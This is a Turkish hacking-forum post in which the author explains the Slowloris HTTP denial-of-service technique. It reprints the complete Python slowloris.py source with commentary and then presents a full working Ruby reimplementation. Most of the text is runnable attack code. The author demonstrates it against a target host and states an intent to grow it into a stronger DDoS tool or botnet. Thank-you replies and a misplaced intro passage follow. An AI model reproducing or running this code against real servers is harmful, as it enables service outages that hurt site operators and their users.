Slowloris saldırısı, saldırganın bir hedef web sunucusuna çok sayıda bağlantı açarak her bağlantıyı açık tutmasıyla gerçekleşir. Bu bağlantılar genellikle tamamlanmamış HTTP istekleri içerir, bu da sunucunun kaynaklarını sürekli olarak kullanmasına neden olur. Sunucu, bu yarı tamamlanmış bağlantılara yanıt vermek için beklemeye devam ettiği sürece, gerçek ve meşru istemcilere hizmet verme yeteneği azalır.

Slowloris saldırıları genellikle düşük bant genişliği kullanarak ve izlemesi zor olacak şekilde yapıldığından, bu tür saldırıları tespit etmek ve engellemek zor olabilir.
Web sunucularının güvenliği için bu tür saldırılara karşı koruma önlemleri alınmalıdır.

DDoS, DoS, Slowloris gibi saldırılar için detaylı bilgi almak isterseniz okuyabilirsiniz. Kaynak



slowloris.py İncelenmesi

Slowloris'in Python varyasyonuna ulaşmak için: slowloris.py: Github

Loglama, Socket ve User-Agent kullanmayla alakalı konularım olduğu için tekrara girmedim.


CoffeeScript:
https://www.turkhackteam.org/konular/socket-programlama.2052616/

https://www.turkhackteam.org/konular/log-tutmak-loglama-islemleri.2052282/

https://www.turkhackteam.org/konular/python-ile-user-agent-kullanarak-istek-yollamak.2052068/

okuyabilirsiniz.

Fazla detaylara girmeden kodu açıklayayım

Bu bir Unix/Linux tabanlı işletim sistemi üzerinde çalıştırılacak bir Python betiği (script) başlangıcında bulunan bir shebang (sha-bang) ifadesidir. Kısaca Python ile yazmış olduğunuz programınızın hangi yorumlayıcı ile çalıştırılacağını belirtir.

Python:
#!/usr/bin/env python3

Burada "import" ile kullanılacak kütüphaneler içeriye aktarılmıştır.


Python:
import argparse
import logging
import random
import socket
import sys
import time

argparse: Komut satırı argümanlarını analiz etmek için kullanılır. Betik, komut satırından gelen argümanları işlemek ve bu argümanlara dayalı olarak belirli davranışları uygulamak için argparse kütüphanesini kullanır.

logging: Loglama (günlük tutma) işlemleri için kullanılır. Bu kütüphane, betikin çalışma zamanında çeşitli log mesajlarını göndererek bilgi sağlar. Log seviyeleri, betiğin ne kadar detaylı bir çıktı üreteceğini belirler.

random: Rastgele sayılar üretmek ve rastgele seçimler yapmak için kullanılır. Bu betikte, kullanıcı aracılığıyla belirtilen sayıda soket oluştururken rastgele seçimler yapmak amacıyla kullanılabilir.
socket: Ağ programlaması için kullanılan bir kütüphanedir. Bu betik, web sunucusuna karşı Slowloris saldırısını gerçekleştirmek için soketler aracılığıyla bağlantılar kurar ve yönetir.

sys: Python yürütme ortamı ve işletim sistemi ile ilgili işlemleri kontrol etmek için kullanılır. Bu betikte, betikin çalıştırıldığı komut satırı argümanlarını kontrol etmek ve bazı durumlarda betiği sonlandırmak için kullanılabilir.

time: Zaman ile ilgili işlemleri gerçekleştirmek için kullanılır. Bu betikte, belirli bir süre boyunca beklemek amacıyla kullanılabilir.

Parametre çubuğu belirtilmeden "host" değeri kullanıcıdan alınmış

Python:
parser.add_argument("host", nargs="?", help="Host to perform stress test on")

-p, --port ile kullanıcıdan port değeri alınmış.


Python:
parser.add_argument(
    "-p", "--port", default=80, help="Port of webserver, usually 80", type=int
)

-s, --sockets ile atılacak socket sayısı değeri kullanıcıdan alınmış.

Python:
parser.add_argument(
    "-s",
    "--sockets",
    default=150,
    help="Number of sockets to use in the test",
    type=int,
)

-v, --verbose ile ekrana istekler hakkında çıktı verilmesi söylenmiş.

Python:
parser.add_argument(
    "-v",
    "--verbose",
    dest="verbose",
    action="store_true",
    help="Increases logging",
)

-ua, --randomuseragent ile istek atılacak tarayıcının random olup olmaması kullanıcıya sorulmuş.


Python:
parser.add_argument(
    "-ua",
    "--randuseragents",
    dest="randuseragent",
    action="store_true",
    help="Randomizes user-agents with each request",
)

-x, --useproxy komutu ile kullanıcıya proxy kullanılıp kullanılmayacağı sorulmuş.


Python:
parser.add_argument(
    "-x",
    "--useproxy",
    dest="useproxy",
    action="store_true",
    help="Use a SOCKS5 proxy for connecting",
)

kullanıcıdan proxy için kullanacağı host ve port değeri alınmış.

Python:
parser.add_argument(
    "--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host"
)
parser.add_argument(
    "--proxy-port", default="8080", help="SOCKS5 proxy port", type=int
)

https kullanılması ve istek sorunları için bekleme süresi.

Python:
parser.add_argument(
    "--https",
    dest="https",
    action="store_true",
    help="Use HTTPS for the requests",
)
parser.add_argument(
    "--sleeptime",
    dest="sleeptime",
    default=15,
    type=int,
    help="Time to sleep between each header sent.",
)

kullanıcı girmemesi durumunda default değerler ayarlanmış ve parser bitirlip değerler alınmış.

Python:
parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False)
parser.set_defaults(https=False)
args = parser.parse_args()

eğer parserde host eksikse veya hiç değer girilmemişte gerekli çıktılar verilmiş.

Python:
if len(sys.argv) <= 1:
    parser.print_help()
    sys.exit(1)

if not args.host:
    print("Host required!")
    parser.print_help()
    sys.exit(1)

proxy kullanılacağı durumda socket tanımlaması yapılmış.

bu kısımda kullanıcının girdiği proxy host ve proxy port değerlerine bir proxy socketi oluşturulmuş.


Rich (BB code):
 socks.setdefaultproxy(
            socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port
        )

Python:
if args.useproxy:
    # Tries to import to external "socks" library
    # and monkey patches socket.socket to connect over
    # the proxy by default
    try:
        import socks

        socks.setdefaultproxy(
            socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port
        )
        socket.socket = socks.socksocket
        logging.info("Using SOCKS5 proxy for connecting...")
    except ImportError:
        logging.error("Socks Proxy Library Not Available!")
        sys.exit(1)

logging.basicConfig(
    format="[%(asctime)s] %(message)s",
    datefmt="%d-%m-%Y %H:%M:%S",
    level=logging.DEBUG if args.verbose else logging.INFO,
)

send_line(self, line): Bu fonksiyon, verilen line parametresini alır, sonuna bir satır sonu ekler (\r\n) ve ardından UTF-8 encoding ile byte dizisine çevirip soket üzerinden gönderir. Bu, HTTP başlıklarını göndermede kullanılır.

send_header(self, name, value): Bu fonksiyon, verilen name ve value parametreleriyle bir başlık oluşturur ve send_line fonksiyonunu kullanarak bu başlığı soket üzerinden gönderir.


Python:
def send_line(self, line):
    line = f"{line}\r\n"
    self.send(line.encode("utf-8"))

def send_header(self, name, value):
    self.send_line(f"{name}: {value}")

args.https değeri True ise (kullanıcı HTTPS kullanma seçeneğini belirtmişse), HTTPS desteği etkinleştirilir.

Python:
if args.https:

ssl kütüphanesi içe aktarılır. Bu kütüphane, güvenli iletişim sağlamak için kullanılan bir protokol olan SSL/TLS (Transport Layer Security) üzerine inşa edilmiştir.

Python:
logging.info("Importing ssl module")
import ssl

setattr fonksiyonu kullanılarak, ssl.SSLSocket sınıfına özel send_line ve send_header fonksiyonları eklenir.

ssl.SSLSocket sınıfı, normal socket sınıfından türetilmiş bir alt sınıftır ve SSL/TLS bağlantıları için özelleştirilmiştir.

Bu özel fonksiyonlar, daha önce tanımlanan send_line ve send_header fonksiyonlarıdır. Bu fonksiyonlar, HTTP başlıklarını ve satırlarını uygun formatta göndermek için kullanılır.


Python:
setattr(ssl.SSLSocket, "send_line", send_line)
setattr(ssl.SSLSocket, "send_header", send_header)

user-agent ve socket listesi tanımlaması.

Python:
list_of_sockets = []
user_agents = [
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]

setattr(socket.socket, "send_line", send_line)
setattr(socket.socket, "send_header", send_header)

bu kısımda kısaca socket oluşturuluyor ve önceden anlattığım kodda tanımlı özel fonksiyonlar ile istek atılıyor.

Python:
def init_socket(ip: str):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)

    if args.https:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        s = ctx.wrap_socket(s, server_hostname=args.host)

    s.connect((ip, args.port))

    s.send_line(f"GET /?{random.randint(0, 2000)} HTTP/1.1")

    ua = user_agents[0]
    if args.randuseragent:
        ua = random.choice(user_agents)

    s.send_header("User-Agent", ua)
    s.send_header("Accept-language", "en-US,en,q=0.5")
    return s

kullanıcının girdiği socket sayısını özel fonksiyonlara gönderen kısım.


Python:
def slowloris_iteration():
    logging.info("Sending keep-alive headers...")
    logging.info("Socket count: %s", len(list_of_sockets))

    # Try to send a header line to each socket
    for s in list(list_of_sockets):
        try:
            s.send_header("X-a", random.randint(1, 5000))
        except socket.error:
            list_of_sockets.remove(s)

    # Some of the sockets may have been closed due to errors or timeouts.
    # Re-create new sockets to replace them until we reach the desired number.

    diff = args.sockets - len(list_of_sockets)
    if diff <= 0:
        return

    logging.info("Creating %s new sockets...", diff)
    for _ in range(diff):
        try:
            s = init_socket(args.host)
            if not s:
                continue
            list_of_sockets.append(s)
        except socket.error as e:
            logging.debug("Failed to create new socket: %s", e)
            break

programı başlatmak için ana kısım.

Python:
def main():
    ip = args.host
    socket_count = args.sockets
    logging.info("Attacking %s with %s sockets.", ip, socket_count)

    logging.info("Creating sockets...")
    for _ in range(socket_count):
        try:
            logging.debug("Creating socket nr %s", _)
            s = init_socket(ip)
        except socket.error as e:
            logging.debug(e)
            break
        list_of_sockets.append(s)

    while True:
        try:
            slowloris_iteration()
        except (KeyboardInterrupt, SystemExit):
            logging.info("Stopping Slowloris")
            break
        except Exception as e:
            logging.debug("Error in Slowloris iteration: %s", e)
        logging.debug("Sleeping for %d seconds", args.sleeptime)
        time.sleep(args.sleeptime)


if __name__ == "__main__":
    main()

Tüm Kod:


Python:
#!/usr/bin/env python3
import argparse
import logging
import random
import socket
import sys
import time

parser = argparse.ArgumentParser(
    description="Slowloris, low bandwidth stress test tool for websites"
)
parser.add_argument("host", nargs="?", help="Host to perform stress test on")
parser.add_argument(
    "-p", "--port", default=80, help="Port of webserver, usually 80", type=int
)
parser.add_argument(
    "-s",
    "--sockets",
    default=150,
    help="Number of sockets to use in the test",
    type=int,
)
parser.add_argument(
    "-v",
    "--verbose",
    dest="verbose",
    action="store_true",
    help="Increases logging",
)
parser.add_argument(
    "-ua",
    "--randuseragents",
    dest="randuseragent",
    action="store_true",
    help="Randomizes user-agents with each request",
)
parser.add_argument(
    "-x",
    "--useproxy",
    dest="useproxy",
    action="store_true",
    help="Use a SOCKS5 proxy for connecting",
)
parser.add_argument(
    "--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host"
)
parser.add_argument(
    "--proxy-port", default="8080", help="SOCKS5 proxy port", type=int
)
parser.add_argument(
    "--https",
    dest="https",
    action="store_true",
    help="Use HTTPS for the requests",
)
parser.add_argument(
    "--sleeptime",
    dest="sleeptime",
    default=15,
    type=int,
    help="Time to sleep between each header sent.",
)
parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False)
parser.set_defaults(https=False)
args = parser.parse_args()

if len(sys.argv) <= 1:
    parser.print_help()
    sys.exit(1)

if not args.host:
    print("Host required!")
    parser.print_help()
    sys.exit(1)

if args.useproxy:
    # Tries to import to external "socks" library
    # and monkey patches socket.socket to connect over
    # the proxy by default
    try:
        import socks

        socks.setdefaultproxy(
            socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port
        )
        socket.socket = socks.socksocket
        logging.info("Using SOCKS5 proxy for connecting...")
    except ImportError:
        logging.error("Socks Proxy Library Not Available!")
        sys.exit(1)

logging.basicConfig(
    format="[%(asctime)s] %(message)s",
    datefmt="%d-%m-%Y %H:%M:%S",
    level=logging.DEBUG if args.verbose else logging.INFO,
)


def send_line(self, line):
    line = f"{line}\r\n"
    self.send(line.encode("utf-8"))


def send_header(self, name, value):
    self.send_line(f"{name}: {value}")


if args.https:
    logging.info("Importing ssl module")
    import ssl

    setattr(ssl.SSLSocket, "send_line", send_line)
    setattr(ssl.SSLSocket, "send_header", send_header)

list_of_sockets = []
user_agents = [
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]

setattr(socket.socket, "send_line", send_line)
setattr(socket.socket, "send_header", send_header)


def init_socket(ip: str):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)

    if args.https:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        s = ctx.wrap_socket(s, server_hostname=args.host)

    s.connect((ip, args.port))

    s.send_line(f"GET /?{random.randint(0, 2000)} HTTP/1.1")

    ua = user_agents[0]
    if args.randuseragent:
        ua = random.choice(user_agents)

    s.send_header("User-Agent", ua)
    s.send_header("Accept-language", "en-US,en,q=0.5")
    return s


def slowloris_iteration():
    logging.info("Sending keep-alive headers...")
    logging.info("Socket count: %s", len(list_of_sockets))

    # Try to send a header line to each socket
    for s in list(list_of_sockets):
        try:
            s.send_header("X-a", random.randint(1, 5000))
        except socket.error:
            list_of_sockets.remove(s)

    # Some of the sockets may have been closed due to errors or timeouts.
    # Re-create new sockets to replace them until we reach the desired number.

    diff = args.sockets - len(list_of_sockets)
    if diff <= 0:
        return

    logging.info("Creating %s new sockets...", diff)
    for _ in range(diff):
        try:
            s = init_socket(args.host)
            if not s:
                continue
            list_of_sockets.append(s)
        except socket.error as e:
            logging.debug("Failed to create new socket: %s", e)
            break


def main():
    ip = args.host
    socket_count = args.sockets
    logging.info("Attacking %s with %s sockets.", ip, socket_count)

    logging.info("Creating sockets...")
    for _ in range(socket_count):
        try:
            logging.debug("Creating socket nr %s", _)
            s = init_socket(ip)
        except socket.error as e:
            logging.debug(e)
            break
        list_of_sockets.append(s)

    while True:
        try:
            slowloris_iteration()
        except (KeyboardInterrupt, SystemExit):
            logging.info("Stopping Slowloris")
            break
        except Exception as e:
            logging.debug("Error in Slowloris iteration: %s", e)
        logging.debug("Sleeping for %d seconds", args.sleeptime)
        time.sleep(args.sleeptime)


if __name__ == "__main__":
    main()

Hatalarım olabilir, "kısaca" programı açıkladım. Kafanızda bir şeyler canlanmıştır.



Ruby İle Slowloris Kodlanması

Yukarıda bulunan kod düzenine uyarak bir kodlama yapacağız.
Bu serinin ilk konusu olduğu için ekstra detaylara bu konuda girmeyeceğim.

shebang satırını yazalım.

Ruby:
#!/usr/bin/env ruby

çıktı renklendirmesi için bir sınıf tanımlayalım.


Ruby:
class String
  def red; "\e[31m#{self}\e[0m" end
  def green; "\e[32m#{self}\e[0m" end
  def yellow; "\e[33m#{self}\e[0m" end
  def blue; "\e[34m#{self}\e[0m" end
  def magenta; "\e[35m#{self}\e[0m" end
  def cyan; "\e[36m#{self}\e[0m" end
end

Slowloris isimli sınıfımızı oluşturalım ve içine user-agentler ekleyelim.

Ruby:
class Slowloris
  def initialize
    require 'socket'

    @user_agents = [
      "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
    ]

default parametreler için hash.

Ruby:
@parameters = {
      host: nil,
      socket_count: 150,
      sleep_time: 15,
      port: 80,
      sockets: []
    }
  end

socket oluşturma fonksiyonu.

Ruby:
def initialize_socket(host, port)
    socket = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)
    socket_addr = Socket.pack_sockaddr_in(port, host)
    socket.connect(socket_addr)

    socket.write("GET /?#{rand(2250)} HTTP/1.1\r\n".encode("utf-8"))
  
    @user_agents.each { |header|
      socket.write("#{header}\r\n".encode("utf-8"))
    }

    return socket
  end

yardım için yazı.

Ruby:
def print_help
    help_text = <<-'HELP_TEXT'
Usage: ruby slowloris.rb [options]

Options:
-h, --host: Set host.
-s, --socket_count: Set socket count.
-H, --help: Print this text.
-p, --port: Set port.
-t, --sleep_time: Sleep time when an error is received during the request.
HELP_TEXT
  
    $stdout.puts(help_text.red)
  end

parserimizi tanımlayalım.

Ruby:
 def option_parser
    require 'optparse'

    OptionParser.new do |opts|
      opts.on("-H", "--help", "Prints help text.") do
        print_help()
        exit(0)
      end

      opts.on("-t", "--sleep-time SLEEP_TIME", Integer, "Set sleep time.") do |sleep_time|
        @parameters[:sleep_time] = sleep_time
      end

      opts.on("-h", "--host HOST", "Set host.") do |host|
        @parameters[:host] = host
      end

      opts.on("-p", "--port PORT", Integer, "Set port.") do |port|
        @parameters[:port] = port
      end

      opts.on("-s", "--socket_count SOCKET_COUNT", Integer, "Set socket count value.") do |socket_count|
        @parameters[:socket_count] = socket_count
      end
    end.parse!
  end

döngüyü oluşturan ana fonksiyon.

Ruby:
def start
    option_parser()

    if @parameters[:host]
      $stdout.puts("Attacking #{@parameters[:host]} with #{@parameters[:socket_count]} sockets.".magenta)
      $stdout.puts("Creating sockets...".blue)

      while true
        @parameters[:socket_count].times do
          begin
            socket = initialize_socket(@parameters[:host], @parameters[:port])
            @parameters[:sockets] << socket
          rescue
            break
          rescue Interrupt
            exit(0)
          end
        end

        $stdout.puts("Sending keep-alive headers... Socket count: #{@parameters[:sockets].size}")

        (1..(@parameters[:socket_count] - @parameters[:sockets].size)).each do
          $stdout.puts("Recreating socket...")
          begin
            socket = initialize_socket(@parameters[:host], @parameters[:port])
            @parameters[:sockets] << socket if socket
          rescue
            break
          end
        end

        sleep(@parameters[:sleep_time])
      end
    else
      $stdout.puts("Please set a host.".cyan)
      print_help()
      exit(0)
    end
  end
end

slowloris = Slowloris.new()
slowloris.start()

Projenin Github sayfası:

Kod:
 https://github.com/thebunjo/Slowloris-Ruby/tree/main

Kullanım:

Yardım sayfası için "-H" parametresini kullanabilirsiniz.


nhy03uo.png


"example.com" için DoS.

"-h" parametresi ile hedefi belirtebilirsiniz.

kfdp4bm.png


Trafik analizi:


ej1h13k.png



Yeni konularda paralel programlama ve proxy desteği de eklediğimiz zaman çok kuvvettli bir DDoS aracına dönüşür. Yakın zamanda istekleri düzenler ve gerekli eklemeleri yapar yeni konusu açarım belki de bir botnet programına bile dönüştürebilirim bilemiyorum.

Slowloris programının ne kadar işe yaradığı size kalmakla beraber konuyu okuduğunuz için teşekkür ederim.

Hatalarım olabilir, nazik
üslup ile bildirirseniz sevinirin.

İyi forumlar.
Eline sağlık
 

Bunjo

Uzman üye
14 Ara 2020
1,592
1,895
I Won
Elinize Emeğinize Sağlık
Teşekkür ederim dostum :)
Teşekkürler dostum
Ellerinize sağlık hocam, kodlar çok iyi olmuş. Emeğinize sağlık
Teşekkürler dostum
Eline emeğine sağlık kadim dostum harika konu
Teşekkürler yoldaşım
Sağol
Emeğine Sağlık.
Teşekkür ederim.
 

aslan aslan

Basın&Medya Ekibi Asistanı
1 Şub 2023
678
262
oqk18ir.png


c0sawob.png


lbn20fm.png
2q250vr.png


Merhabalar ben saldırı timlerinden Bunjo, bu konuda hemen hemen herkesin duyduğu slowloris aracının Python varyasyonunu yeniden Ruby ile kodlayacağız.
İlk öncelikle bu konuda dünyanın en hızlı en güçlü ddos programını yazmadığımı belirtmeliyim
ve herhangi bir iddiam da yoktur, sadece slowlorisi Ruby ile yazacağım.


Slowloris

iwxqmay.png


Slowloris, bir DDoS (Distributed Denial of Service) saldırı yöntemidir. Bu saldırı türü, bir web sunucusunu aşırı yüklemek ve hizmeti engellemek amacıyla kullanılır.
Slowloris saldırıları genellikle HTTP protokolünü hedef alır ve saldırganın bilgisayarından çok sayıda bağlantı oluşturarak sunucunun kaynaklarını tüketir.

